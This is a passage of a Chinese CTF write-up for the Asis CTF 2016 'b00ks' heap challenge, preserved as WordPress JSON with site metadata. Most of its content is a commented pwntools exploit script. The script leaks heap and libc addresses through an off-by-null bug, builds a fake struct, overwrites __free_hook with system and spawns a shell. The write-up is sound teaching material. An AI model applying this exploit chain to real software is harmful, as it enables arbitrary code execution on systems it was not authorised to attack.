\n# \u6ce8\u610f：\u6b64\u65f6 library \u8fd8\u662f\u7a7a\u7684，\u8fd9\u6b21\u8d8a\u754c\u5199"\u6ca1\u6709\u5b9e\u9645\u4f5c\u7528"，\u53ea\u662f\u4e3a\u540e\u9762\u505a\u94fa\u57ab
\nio.sendlineafter(b'Enter author name: ', b'a' * 32) # \u53d1 32 \u4e2a 'a'（\u6b63\u597d\u585e\u6ee1 author_name）<\/p>\n

# \u6b65\u9aa42：\u5efa\u4e24\u672c\u4e66
\n# book1：name_size = 0xd0 \u2014\u2014 \u8ba9 desc \u6070\u597d\u843d\u5728"\u672b\u4e24\u4f4d 00"\u7684\u5730\u5740（\u9875\u9996）
\n# book2：name\/desc size = 0x21000 \u2014\u2014 \u8d85\u8fc7 128KB，\u903c malloc \u8d70 mmap，\u5730\u5740\u843d\u5230 libc \u9644\u8fd1
\ncreate(0xd0, b'name1', 0x20, b'desc1') # \u7b2c1\u672c\u4e66（\u5c0f\u5c3a\u5bf8，\u8d70\u5806）
\ncreate(0x21000, b'name2', 0x21000, b'desc2') # \u7b2c2\u672c\u4e66（\u5927\u5c3a\u5bf8，\u8d70 mmap）<\/p>\n

# \u6b65\u9aa43：\u6cc4\u9732 book1 \u7ed3\u6784\u4f53\u5730\u5740
\nshow() # \u89e6\u53d1\u6253\u5370（\u9009 4）
\nio.recvuntil(b'Author: ') # \u4e00\u76f4\u63a5\u6536，\u76f4\u5230\u51fa\u73b0 'Author: '
\nio.recvuntil(b'a' * 32) # \u518d\u8df3\u8fc7 32 \u4e2a 'a'
\nbook1_addr = u64(io.recv(6).ljust(8, b'\\\\x00')) # \u8bfb\u63a5\u4e0b\u6765\u7684 6 \u5b57\u8282，\u53f3\u8fb9\u8865 0 \u5230 8 \u5b57\u8282，\u6309\u5c0f\u7aef\u8fd8\u539f\u6210\u6574\u6570
\nlog.success('book1_addr = ' + hex(book1_addr)) # \u6253\u5370\u6cc4\u9732\u5230\u7684 book1 \u5730\u5740<\/p>\n

# \u6b65\u9aa44：\u6784\u9020"\u5047\u7ed3\u6784\u4f53"，\u5199\u8fdb book1 \u7684 desc（\u901a\u8fc7\u83dc\u5355 edit \u5199\u5165）
\n# \u5047\u7ed3\u6784\u4f53\u7684 4 \u4e2a\u5b57\u6bb5：
\n# id = 1
\n# name = book1 + 0x38 （= book2 \u7684 name \u5b57\u6bb5\u5730\u5740）
\n# description = book1 + 0x40 （= book2 \u7684 desc \u5b57\u6bb5\u5730\u5740）
\n# size = 0xffff
\n# p64(x) = \u628a\u6574\u6570 x \u6253\u5305\u6210 8 \u5b57\u8282\u5c0f\u7aef
\nfake = p64(1) + p64(book1_addr + 0x38) + p64(book1_addr + 0x40) + p64(0xffff)
\nedit(1, fake) # \u9009 3 \u7f16\u8f91\u7b2c1\u672c\u4e66，\u628a\u5047\u7ed3\u6784\u4f53\u5199\u8fdb\u5b83\u7684 desc<\/p>\n

# \u6b65\u9aa45：\u518d\u6b21\u89e6\u53d1 off-by-null，\u628a library[0] \u6700\u4f4e\u5b57\u8282\u6e05\u96f6
\n# \u6548\u679c：library[0] \u4ece"\u6307\u5411\u771f book1 \u7ed3\u6784\u4f53"\u53d8\u6210"\u6307\u5411\u5047\u7ed3\u6784\u4f53"
\nauthor(b'A' * 32) # \u9009 5，\u53d1 32 \u4e2a 'A'（\u585e\u6ee1\u89e6\u53d1\u8d8a\u754c\u5199）<\/p>\n

# \u6b65\u9aa46：\u901a\u8fc7\u5047\u7ed3\u6784\u4f53\u6cc4\u9732 book2 \u7684 name\/desc \u6307\u9488（\u90fd\u662f mmap \u5730\u5740）
\nshow() # \u89e6\u53d1\u6253\u5370
\nio.recvuntil(b'Name: ') # \u4e00\u76f4\u63a5\u6536，\u76f4\u5230\u51fa\u73b0 'Name: '
\nbook2_name = u64(io.recvuntil(b'\\\\n', drop=True).ljust(8, b'\\\\x00')) # \u8bfb\u5230\u6362\u884c（\u53bb\u6389\u6362\u884c\u7b26），\u8865 0 \u8fd8\u539f\u6210 book2 name \u5730\u5740
\nio.recvuntil(b'Description: ') # \u4e00\u76f4\u63a5\u6536，\u76f4\u5230 'Description: '
\nbook2_desc = u64(io.recvuntil(b'\\\\n', drop=True).ljust(8, b'\\\\x00')) # \u540c\u7406，\u8fd8\u539f\u51fa book2 desc \u5730\u5740
\nlog.success('book2_name = ' + hex(book2_name)) # \u6253\u5370
\nlog.success('book2_desc = ' + hex(book2_desc)) # \u6253\u5370<\/p>\n

# \u6b65\u9aa47：\u7528 mmap \u5730\u5740\u53cd\u63a8 libc \u57fa\u5740
\n# \u5173 ASLR（setarch -R）\u65f6，book2 desc \u7684 mmap \u5730\u5740\u76f8\u5bf9 libc \u57fa\u5740\u6709\u56fa\u5b9a\u504f\u79fb 0x7b2010
\nlibc_base = book2_desc – 0x7b2010 # \u51cf\u6389\u56fa\u5b9a\u504f\u79fb，\u5f97\u5230 libc \u57fa\u5740
\nlog.success('libc_base = ' + hex(libc_base)) # \u6253\u5370<\/p>\n

free_hook = libc_base + libc.symbols['__free_hook'] # \u57fa\u5740 + __free_hook \u7684\u504f\u79fb = \u5b83\u7684\u771f\u5b9e\u5730\u5740
\nsystem = libc_base + libc.symbols['system'] # \u57fa\u5740 + system \u7684\u504f\u79fb = system \u7684\u771f\u5b9e\u5730\u5740
\nlog.success('free_hook = ' + hex(free_hook)) # \u6253\u5370
\nlog.success('system = ' + hex(system)) # \u6253\u5370<\/p>\n

# \u6b65\u9aa48-11：\u4efb\u610f\u5199（\u4e24\u7ea7\u8df3），\u628a free_hook \u6539\u6210 system，\u628a book2.name \u6539\u6210 "\/bin\/sh"
\n# \u7b2c\u4e00\u8df3：\u6539\u5047\u7ed3\u6784\u4f53\u7684 desc \u5b57\u6bb5（\u5b83\u5176\u5b9e\u5c31\u662f book2 \u7684 desc \u5b57\u6bb5），\u8ba9 book2.desc \u6307\u9488 = free_hook
\nedit(1, p64(free_hook))
\n# \u7b2c\u4e8c\u8df3：\u73b0\u5728 book2.desc \u6307\u5411 free_hook，\u5f80\u5b83\u5199 system，\u5373 free_hook = system
\nedit(2, p64(system))
\n# \u628a book2.desc \u6307\u56de book2.name，\u4e3a\u4e0b\u4e00\u6b65\u5199 "\/bin\/sh" \u505a\u51c6\u5907
\nedit(1, p64(book2_name))
\n# \u5199 "\/bin\/sh" \u5230 book2.name（\u672b\u5c3e \\\\x00 \u662f\u5b57\u7b26\u4e32\u7ed3\u675f\u7b26）
\nedit(2, b'\/bin\/sh\\\\x00')<\/p>\n

# \u6b65\u9aa412：\u5220\u9664\u7b2c2\u672c\u4e66，\u89e6\u53d1 free(book2.name)
\n# free \u53d1\u73b0 __free_hook \u975e\u7a7a，\u5c31\u8c03\u7528 __free_hook(\u6307\u9488) = system("\/bin\/sh")，\u4e8e\u662f\u62ff\u5230 shell
\ndelete(2)<\/p>\n

# \u8fdb\u5165\u4ea4\u4e92\u6a21\u5f0f：\u62ff\u5230 shell \u540e\u53ef\u4ee5\u6572\u4efb\u610f\u547d\u4ee4
\nio.interactive()<\/p>\n

\u00a0<\/p>\n

\u00a0<\/p>\n

\u00a0<\/p>\n","protected":false},"excerpt":{"rendered":"

\u8fd9\u662f\u4e00\u9053\u5806\u57fa\u7840-off-by-one，\u7b2c\u4e00\u6b21\u63a5\u89e6\u5806，\u611f\u89c9\u6bd4\u6808\u66f4\u52a0\u62bd\u8c61\u548c\u70e7\u8111，\u6211\u4eec\u770b\u4e00\u4e0b\u8fd9\u9053\u5806\u9898\u76ee，\u5176\u5b9e\u8fd9\u9053\u9898\u76ee\u662f\u9488\u5bf9\u4e00\u4e2a\u4f5c\u8005\u7684\u6240\u6709\u76f8\u5173\u4e66\u7c4d\u7684\u4e00\u4e2a\u6574\u7406\u3002\u6211\u4eec\u8fd8\u662f\u8001\u6837\u5b50，\u62ff\u5230\u9898\u76ee\u5148\u770b\u4e00\u4e0b\u76f8\u5173\u7684\u4fdd\u62a4，\u9664\u4e86\u6ca1\u6709\u91d1\u4e1d\u96c0\u5176\u4ed6\u4fdd\u62a4\u5168\u5f00，\u6211\u4eec\u76f4\u63a5\u8fdb\u884cida\u9759\u6001\u5206\u6790__int64 __fastcall main(int a1, char **a2, char **a3)
\n{struct _IO_F<\/p>\n","protected":false},"author":2,"featured_media":104675,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[7837,11904,8593,122],"topic":[],"class_list":["post-104691","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-server","tag-pwn","tag-11904","tag-8593","tag-122"],"yoast_head":"\nAsis CTF 2016 b00ks - \u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/www.wsisp.com\/helps\/104691.html\" \/>\n<meta property=\"og:locale\" content=\"zh_CN\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Asis CTF 2016 b00ks - \u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3\" \/>\n<meta property=\"og:description\" content=\"\u8fd9\u662f\u4e00\u9053\u5806\u57fa\u7840-off-by-one，\u7b2c\u4e00\u6b21\u63a5\u89e6\u5806，\u611f\u89c9\u6bd4\u6808\u66f4\u52a0\u62bd\u8c61\u548c\u70e7\u8111，\u6211\u4eec\u770b\u4e00\u4e0b\u8fd9\u9053\u5806\u9898\u76ee，\u5176\u5b9e\u8fd9\u9053\u9898\u76ee\u662f\u9488\u5bf9\u4e00\u4e2a\u4f5c\u8005\u7684\u6240\u6709\u76f8\u5173\u4e66\u7c4d\u7684\u4e00\u4e2a\u6574\u7406\u3002\u6211\u4eec\u8fd8\u662f\u8001\u6837\u5b50，\u62ff\u5230\u9898\u76ee\u5148\u770b\u4e00\u4e0b\u76f8\u5173\u7684\u4fdd\u62a4，\u9664\u4e86\u6ca1\u6709\u91d1\u4e1d\u96c0\u5176\u4ed6\u4fdd\u62a4\u5168\u5f00，\u6211\u4eec\u76f4\u63a5\u8fdb\u884cida\u9759\u6001\u5206\u6790__int64 __fastcall main(int a1, char **a2, char **a3) {struct _IO_F\" \/>\n<meta property=\"og:url\" content=\"https:\/\/www.wsisp.com\/helps\/104691.html\" \/>\n<meta property=\"og:site_name\" content=\"\u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3\" \/>\n<meta property=\"article:published_time\" content=\"2026-09-12T16:42:05+00:00\" \/>\n<meta property=\"og:image\" content=\"https:\/\/www.wsisp.com\/helps\/wp-content\/uploads\/2026\/09\/20260912164154-6aa580d28b907.png\" \/>\n<meta name=\"author\" content=\"admin\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"\u4f5c\u8005\" \/>\n\t<meta name=\"twitter:data1\" content=\"admin\" \/>\n\t<meta name=\"twitter:label2\" content=\"\u9884\u8ba1\u9605\u8bfb\u65f6\u95f4\" \/>\n\t<meta name=\"twitter:data2\" content=\"8 \u5206\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\/\/schema.org\",\"@graph\":[{\"@type\":\"WebPage\",\"@id\":\"https:\/\/www.wsisp.com\/helps\/104691.html\",\"url\":\"https:\/\/www.wsisp.com\/helps\/104691.html\",\"name\":\"Asis CTF 2016 b00ks - \u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3\",\"isPartOf\":{\"@id\":\"https:\/\/www.wsisp.com\/helps\/#website\"},\"datePublished\":\"2026-09-12T16:42:05+00:00\",\"dateModified\":\"2026-09-12T16:42:05+00:00\",\"author\":{\"@id\":\"https:\/\/www.wsisp.com\/helps\/#\/schema\/person\/358e386c577a3ab51c4493330a20ad41\"},\"breadcrumb\":{\"@id\":\"https:\/\/www.wsisp.com\/helps\/104691.html#breadcrumb\"},\"inLanguage\":\"zh-Hans\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\/\/www.wsisp.com\/helps\/104691.html\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\/\/www.wsisp.com\/helps\/104691.html#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"\u9996\u9875\",\"item\":\"https:\/\/www.wsisp.com\/helps\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"Asis CTF 2016 b00ks\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\/\/www.wsisp.com\/helps\/#website\",\"url\":\"https:\/\/www.wsisp.com\/helps\/\",\"name\":\"\u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3\",\"description\":\"\u9999\u6e2f\u670d\u52a1\u5668_\u9999\u6e2f\u4e91\u670d\u52a1\u5668\u8d44\u8baf_\u670d\u52a1\u5668\u5e2e\u52a9\u6587\u6863_\u670d\u52a1\u5668\u6559\u7a0b\",\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\/\/www.wsisp.com\/helps\/?s={search_term_string}\"},\"query-input\":\"required name=search_term_string\"}],\"inLanguage\":\"zh-Hans\"},{\"@type\":\"Person\",\"@id\":\"https:\/\/www.wsisp.com\/helps\/#\/schema\/person\/358e386c577a3ab51c4493330a20ad41\",\"name\":\"admin\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"zh-Hans\",\"@id\":\"https:\/\/www.wsisp.com\/helps\/#\/schema\/person\/image\/\",\"url\":\"https:\/\/gravatar.wp-china-yes.net\/avatar\/?s=96&d=mystery\",\"contentUrl\":\"https:\/\/gravatar.wp-china-yes.net\/avatar\/?s=96&d=mystery\",\"caption\":\"admin\"},\"sameAs\":[\"http:\/\/wp.wsisp.com\"],\"url\":\"https:\/\/www.wsisp.com\/helps\/author\/admin\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"Asis CTF 2016 b00ks - \u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/www.wsisp.com\/helps\/104691.html","og_locale":"zh_CN","og_type":"article","og_title":"Asis CTF 2016 b00ks - \u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3","og_description":"\u8fd9\u662f\u4e00\u9053\u5806\u57fa\u7840-off-by-one，\u7b2c\u4e00\u6b21\u63a5\u89e6\u5806，\u611f\u89c9\u6bd4\u6808\u66f4\u52a0\u62bd\u8c61\u548c\u70e7\u8111，\u6211\u4eec\u770b\u4e00\u4e0b\u8fd9\u9053\u5806\u9898\u76ee，\u5176\u5b9e\u8fd9\u9053\u9898\u76ee\u662f\u9488\u5bf9\u4e00\u4e2a\u4f5c\u8005\u7684\u6240\u6709\u76f8\u5173\u4e66\u7c4d\u7684\u4e00\u4e2a\u6574\u7406\u3002\u6211\u4eec\u8fd8\u662f\u8001\u6837\u5b50，\u62ff\u5230\u9898\u76ee\u5148\u770b\u4e00\u4e0b\u76f8\u5173\u7684\u4fdd\u62a4，\u9664\u4e86\u6ca1\u6709\u91d1\u4e1d\u96c0\u5176\u4ed6\u4fdd\u62a4\u5168\u5f00，\u6211\u4eec\u76f4\u63a5\u8fdb\u884cida\u9759\u6001\u5206\u6790__int64 __fastcall main(int a1, char **a2, char **a3) {struct _IO_F","og_url":"https:\/\/www.wsisp.com\/helps\/104691.html","og_site_name":"\u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3","article_published_time":"2026-09-12T16:42:05+00:00","og_image":[{"url":"https:\/\/www.wsisp.com\/helps\/wp-content\/uploads\/2026\/09\/20260912164154-6aa580d28b907.png"}],"author":"admin","twitter_card":"summary_large_image","twitter_misc":{"\u4f5c\u8005":"admin","\u9884\u8ba1\u9605\u8bfb\u65f6\u95f4":"8 \u5206"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"WebPage","@id":"https:\/\/www.wsisp.com\/helps\/104691.html","url":"https:\/\/www.wsisp.com\/helps\/104691.html","name":"Asis CTF 2016 b00ks - \u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3","isPartOf":{"@id":"https:\/\/www.wsisp.com\/helps\/#website"},"datePublished":"2026-09-12T16:42:05+00:00","dateModified":"2026-09-12T16:42:05+00:00","author":{"@id":"https:\/\/www.wsisp.com\/helps\/#\/schema\/person\/358e386c577a3ab51c4493330a20ad41"},"breadcrumb":{"@id":"https:\/\/www.wsisp.com\/helps\/104691.html#breadcrumb"},"inLanguage":"zh-Hans","potentialAction":[{"@type":"ReadAction","target":["https:\/\/www.wsisp.com\/helps\/104691.html"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/www.wsisp.com\/helps\/104691.html#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"\u9996\u9875","item":"https:\/\/www.wsisp.com\/helps"},{"@type":"ListItem","position":2,"name":"Asis CTF 2016 b00ks"}]},{"@type":"WebSite","@id":"https:\/\/www.wsisp.com\/helps\/#website","url":"https:\/\/www.wsisp.com\/helps\/","name":"\u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3","description":"\u9999\u6e2f\u670d\u52a1\u5668_\u9999\u6e2f\u4e91\u670d\u52a1\u5668\u8d44\u8baf_\u670d\u52a1\u5668\u5e2e\u52a9\u6587\u6863_\u670d\u52a1\u5668\u6559\u7a0b","potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/www.wsisp.com\/helps\/?s={search_term_string}"},"query-input":"required name=search_term_string"}],"inLanguage":"zh-Hans"},{"@type":"Person","@id":"https:\/\/www.wsisp.com\/helps\/#\/schema\/person\/358e386c577a3ab51c4493330a20ad41","name":"admin","image":{"@type":"ImageObject","inLanguage":"zh-Hans","@id":"https:\/\/www.wsisp.com\/helps\/#\/schema\/person\/image\/","url":"https:\/\/gravatar.wp-china-yes.net\/avatar\/?s=96&d=mystery","contentUrl":"https:\/\/gravatar.wp-china-yes.net\/avatar\/?s=96&d=mystery","caption":"admin"},"sameAs":["http:\/\/wp.wsisp.com"],"url":"https:\/\/www.wsisp.com\/helps\/author\/admin"}]}},"_links":{"self":[{"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/posts\/104691","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/comments?post=104691"}],"version-history":[{"count":0,"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/posts\/104691\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/media\/104675"}],"wp:attachment":[{"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/media?parent=104691"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/categories?post=104691"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/tags?post=104691"},{"taxonomy":"topic","embeddable":true,"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/topic?post=104691"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}